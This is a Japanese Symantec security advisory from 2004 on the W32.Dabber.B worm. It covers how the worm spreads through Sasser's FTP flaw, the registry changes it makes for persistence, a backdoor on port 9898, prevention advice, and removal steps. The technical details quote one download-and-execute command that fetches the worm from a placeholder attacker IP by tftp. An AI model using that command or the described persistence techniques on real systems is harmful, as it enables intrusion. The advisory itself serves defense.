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日本サイト更新日: 2004年6月7日 18:00

Category 2 W32.Dabber.B

発見日: 2004年6月4日 (米国時間)
最終更新日: 2004年6月4日 16:31 (米国時間)

W32.Dabber.B は、W32.Dabber.A ワームの亜種です。 このワームは、W32.Sasser.Worm とその亜種の FTP サーバ・コンポーネントの脆弱性を悪用することで拡散します。

W32.Dabber.B は、利用可能な攻撃コードをベースに作成されています。このワームは感染先のホストコンピュータのポート 9898 で待機するバックドアをインストールします。その試みに失敗した場合、W32Dabber.B は、ポート 9899 - 9999 の範囲で、開いているポートが見つかるまで、この試みを順に試して待機しようとします。

W32.Dabber.B は、C++ で書かれ、UPX で圧縮されています。

亜種: W32.Dabber.A

種別: ワーム

感染サイズ: 34,304 バイト

影響を受けるシステム: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP

影響を受けないシステム: DOS, Linux, Macintosh, Macintosh OS X, Novell Netware, OS/2, UNIX


  • 対応日(Intelligent Updater)*
  • 2004/06/05(米国時間)
  • 対応日(Live UpdateTM)**
  • 2004/06/09(米国時間)
    * Intelligent Updaterを通じたウイルス定義は随時更新されていますが、そのダウンロードとインストールは手動で行う必要があります。
    ** LiveUpdateを通じたウイルス定義は毎週水曜日(米国時間)に更新されています。
    LiveUpdateの使い方については、こちらをクリックしてください。

    threat assessment

    被害状況

    危険性評価グラフ

    Low High Low

    被害状況:

    ダメージ:

    感染力:

    ダメージ

    感染力

    technical details

    W32.Dabber.B が実行されると、次のことを行います。

    1. omgwtfhi2uhaxplz!!11111!!!111 というミューテックスを作成することによって、ワームが 1 度に 1 つのみ実行されるようにします。

    2. 次の場所毎に、自分自身のコピーを投下しようとします。
      • %System%\package.exe
      • C:\Documents and Settings\All Users\Start Menu\Programs\Startup\package.exe
      • %Windir%\All Users\Main menu\Programs\StartUp\package.exe


        注意:
        • %Windir% は可変です。このワームは Windows のインストールフォルダ (標準では C:\Windows または C:\Winnt) を探し出し、その場所に自分自身をコピーします。
        • %System% は可変です。このワームはシステムフォルダを探し出し、その場所に自分自身をコピーします。標準では、このフォルダは C:\Windows\System (Windows 95/98/Me)、C:\Winnt\System32 (Windows NT/2000)、または C:\Windows\System32 (Windows XP) です。


    3. 次の値を

      "sasserfix" = "%System%\package.exe"

      次のレジストリキーに追加します。

      HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

    4. 次の値を

      "restrictanonymous" = 1
      "restrictanonymoussam" = 1

      次のレジストリキーに追加します。

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

    5. 次の値を

      "Start" = 1

      次のレジストリキーに追加します。

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess

    6. 次の値を

      "Start" = 1

      次のレジストリキーに追加します。

      HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc

    7. 他の不正ソフトウェアに関連のある幾つかのレジストリ値をレジストリから削除しようとします。
      • 次の値を

        Video
        Microsoft Update

        次のレジストリキーから削除します。

        HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

      • 次の値を、
        Drvddll.exe
        Drvddll_exe
        drvsys
        drvsys.exe
        ssgrate
        ssgrate.exe
        lsasss
        lsasss.exe
        avserve2.exe
        avvserrve32
        avserve
        Taskmon
        Gremlin

        次のレジストリキーから削除します。

        HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

        HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run


      • 次の値を、
        Window
        Video Process
        TempCom
        SkynetRevenge
        MapiDrv
        BagleAV
        System Updater Service
        soundcontrl
        WinMsrv32
        drvddll.exe
        navapsrc.exe
        skynetave.exe
        Generic Host Service
        Windows Drive Compatibility
        windows

        次のレジストリキーから削除します。

        HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

        HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

        HKEY_CURRENT_USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


      • 次の値を、

        (標準)

        次のレジストリキーから削除します。

        HKEY_CLASSES_ROOT\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InProcServer32\

    8. ポート 5554 を使用してランダムなサブネット内の IP アドレスを順にスキャンしてゆき、W32.Sasser.Worm の亜種に感染しているシステムを探します。感染しているシステムを発見すると、W32.Sasser.Worm またはその亜種の FTP サーバ・コンポーネントに存在する脆弱性を悪用します。

      その際、ワームは、まず、コマンドシェルを ポート 8967 に作成し、次に、そのシェルを使用して、感染先のコンピュータが、FTP を通じてワームの本体をダウンロードして実行するように仕向けます。このワームは次のコマンドを発行します。

      tftp -i [攻撃者の IP] GET h3110.411 package.exe & package.exe & exit

    9. 感染先のシステムにバックドアを仕掛けます。そのバックドアはポート 9898 で待機することによって、感染先のシステム上にシステムレベルのリモートシェルを攻撃者に供給します。その結果、攻撃者は、感染している他のホストに関する情報にアクセスできるようになります。

    recommendations

    Symantec Security Response では、すべてのユーザと管理者の皆様に対し、基本的なオンライン・セキュリティ対策として日常的に次のことを実行することを奨励しています。

    • 不必要なサービスをすべて無効化するか、あるいは削除する。OS の多くは標準で、FTP クライアント、telnet、Web サーバーなどコンピュータの操作に必ずしも必要ではない付加的なサービスをインストールします。そのような付加的サービスは、攻撃の侵入経路として利用されることが多いため、無効化あるいは削除することによって、攻撃経路をその分少なくすることができ、パッチ適用時にも更新が必要なサービス数を減らすことができます。
    • 1つ、あるいは複数のネットワークサービスが複合型脅威の攻撃を受けた場合には、パッチを適用するまでの一時的な回避策として、攻撃を受けているサービスをオフにするか、そのサービスへのアクセスを遮断する。
    • 常に最新のパッチを適用しておく。特に、公開サービスをホストしていたり、HTTP、FTP、メール、DNS サービスなど、ファイアウォールを介してアクセス可能にしているコンピュータに対しては必ず最新パッチを適用しておくよう心がけてください。
    • パスワード・ポリシーの徹底。複雑なパスワードを設定しておけば、セキュリティが低下したコンピュータ上に保存しているパスワードファイルの解読を困難にすることができます。また、攻撃を受けた場合でも被害を防止あるいは最小限に抑えることができます。
    • メールサーバーを、ウイルスが感染拡大を試みる際によく使用するファイル拡張子(.vbs、.bat、.exe、.scr など)が付いた添付ファイルを含むメールをブロックあるいは削除するように設定しておく。
    • ネットワーク接続しているコンピュータが感染した場合は、他のコンピュータへの感染拡大を防止するために、そのコンピュータをすみやかにネットワークから切り離し、その後、被害を受けたコンピュータに対し被害状況の分析を行ない、信頼できるメディアを使って復旧を図る。
    • 従業員に対し、次のことを徹底させる。
      • 予期せぬメールが届いた場合には添付ファイルを絶対に開かない。
      • インターネットからダウンロードしたソフトウェアについては、必ずウイルススキャンを実行し、問題がないことが確認できるまでは絶対に起動しない。
      • 既知のセキュリティホールに対応するパッチが適用されていない Web ブラウザーを使用している場合は、安全でない Web サイトにアクセスするだけで感染する可能性があることを留意する。

    removal instructions

    以下の手順は、Symantec AntiVrus および Norton AntiVirus 製品シリーズも含め、現在サポート対象となっているすべてのシマンテック・アンチウイルス製品のお客様を対象にして記述されています。

    1. システムの復元機能を無効にします (Windows Me/XP の場合)。
    2. ウイルス定義を最新版に更新します。
    3. お使いの OS に応じて、次のいずれかを行います。
      • Windows 95/98/Me: コンピュータをセーフモードで再起動。
      • Windows NT/2000/XP: 有害プロセスを終了。
    4. システム全体のスキャンを実行し、W32.Dabber.B として検出されたファイルをすべて削除します。
    5. レジストリに行われた変更を元に戻します。
    具体的な手順については、以下のセクションをご覧ください。

    1. システムの復元オプションを無効にする (Windows Me/XP)
    Windows Me/XP をお使いの場合は、駆除作業を行う前にシステムの復元オプションを一時的にオフにしてください。システムの復元機能は、Windows Me/XP の機能の一つで、標準では有効に設定されています。この機能は、Windows がコンピュータ上のファイルが破損した場合にそれらを自動的に復元するために使用されます。コンピュータがウイルス、ワーム、またはトロイの木馬に感染した場合、ウイルス、ワーム、またはトロイの木馬のバックアップファイルが _RESTORE フォルダ内に作成されている可能性があります。

    Windows は、ウイルス対策プログラムのような外部プログラムによるシステムの復元機能の改変を防止するように設定されています。この理由により、ウイルス対策プログラムおよび駆除ツールでは _RESTORE フォルダ内に保存されている感染ファイルを削除することはできません。その結果、他のあらゆる場所から感染ファイルを削除した後でも、感染したファイルが誤って復元される可能性があります。

    また、ウイルス対策プログラムでコンピュータをスキャンしたときに感染ファイルが検出されなかった場合でも、オンラインスキャンの実行時に _RESTORE フォルダ内の脅威が検出されることがあります。

    システムの復元機能を無効にする方法については、Windows のマニュアルか、あるいは下記のドキュメントをご覧ください。

    注意: 駆除作業が完全に終わり、脅威が駆除されたことを確認した時点で、上記のドキュメントに記載の手順を実行することでシステムの復元機能を有効な状態に戻してください。


    システムの復元機能についての詳細および別の無効化方法については、Microsoft Knowledge Base article :_RESTORE フォルダにウィルスが発見された場合の対応方法について ID: Q263455 をご覧ください。


    2. ウイルス定義を更新する
    ウイルス定義ファイルはすべて、Symantec Security Response による完全品質保証テストを通過した後で弊社サーバーにアップロードされています。最新版のウイルス定義は次の 2 通りの方法で入手できます。
    • LiveUpdate を実行する方法。LiveUpdateTM は、ウイルス定義ファイルと製品アップデートを最も手軽に入手いただける方法です。LiveUpdate を通じて配布されているウイルス定義ファイルは、Symantec Security Response の完全品質保証テストを通過後、危険度の高いウイルスが出現した場合を除き、通常は毎週水曜日にLiveUpdateTM サーバーにアップロードされます。この脅威に対応するウイルス定義が LiveUpdate を通じて入手可能かどうかを判断するには、ページ上部に記載の「対応日(LiveUpdate)」欄の日付をご覧ください。
    • Intelligent UpdaterTM を使用してウイルス定義をダウンロードする方法。Intelligent UpdaterTM を通じて配布しているウイルス定義ファイルは、Symantec Security Response(シマンテック・セキュリティ・レスポンス)による完全な品質保証検査を通過後、米国時間の平日(月曜日〜金曜日)に随時、更新、アップロードされています。Intelligent UpdaterTM によるウイルス定義ファイルは、Symantec Security Response の Web サイトからダウンロードし、手動でインストールする方法でのみご利用いただけます。この脅威に対応するウイルス定義が Intelligent Updater を通じて入手可能かどうかを判断するには、ページ上部に記載の「対応日(Intelligent Updater)」欄の日付をご覧ください。

      Intelligent Updater のウイルス定義は、こちらからダウンロードいただけます。Intelligent UpdaterTM を使用してウイルス定義ファイルをダウンロード、インストールする方法については、こちらをクリックしてください。

    3. セーフモードで再起動する/有害プロセスを終了させる
      Windows 95/98/Me をお使いの場合
      コンピュータをシャットダウンし、電源を切ります。少なくとも 30 秒間待った後、コンピュータをセーフモードで再起動します。具体的な手順については、Windows 9x または Windows Me をセーフモードで起動する方法をご覧ください。

      Windows NT/2000/XP をお使いの場合
      有害プロセスを停止するには:
      1. Ctrl + Alt + Delete キーを同時に押します。 
      2. [タスクマネージャ] をクリックします。 
      3. [プロセス] タブをクリックします。 
      4. リスト最上部のイメージ名をダブルクリックしてプロセスをアルファベット順に並ベ替えます。
      5. リストをスクロールして、package.exe を探します。
      6. 該当するファイルを発見したら、それをクリックして [プロセスの終了] をクリックします。
      7. タスクマネージャを閉じます。

    4. 感染ファイルを探して削除する
    1. Norton AntiVirus (NAV) を開き、すべてのファイルがスキャン対象として設定されているか確認します。
    2. システム全体のスキャンを実行します。
    3. W32.Dabber.B に感染しているファイルが検出されたら、[削除] をクリックします。

    5. レジストリに行われた変更を元に戻す


    注意: システムレジストリに変更を行なう際には、事前にバックアップを作成することを強くお勧めします。レジストリに不適切な変更を行なうと、データの喪失やファイルの破損など修復不可能な問題が生じる可能性があります。指定されたキーのみを修正するよう注意してください。レジストリの編集作業を始める前に必ず「レジストリのバックアップ方法」をお読みください。

    1. [スタート] ボタンを押し、[ファイル名を指定して実行] をクリックします。([ファイル名を指定して実行] ダイアログボックスが表示されます。)

    2. regedit と入力します。

      その後、[OK] をクリックします。(レジストリ エディタが開きます。)

    3. 次のレジストリキーを選択します。

      HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

    4. 画面右側で、次の値を削除します。

      "sasserfix"="%System%\package.exe"

    5. レジストリエディタを終了します。

    6. セーフモードで作業していた場合は、この時点でコンピュータを通常モードで再起動します。具体的な手順については、次のうち、ご使用の OS に該当するドキュメントをご覧ください。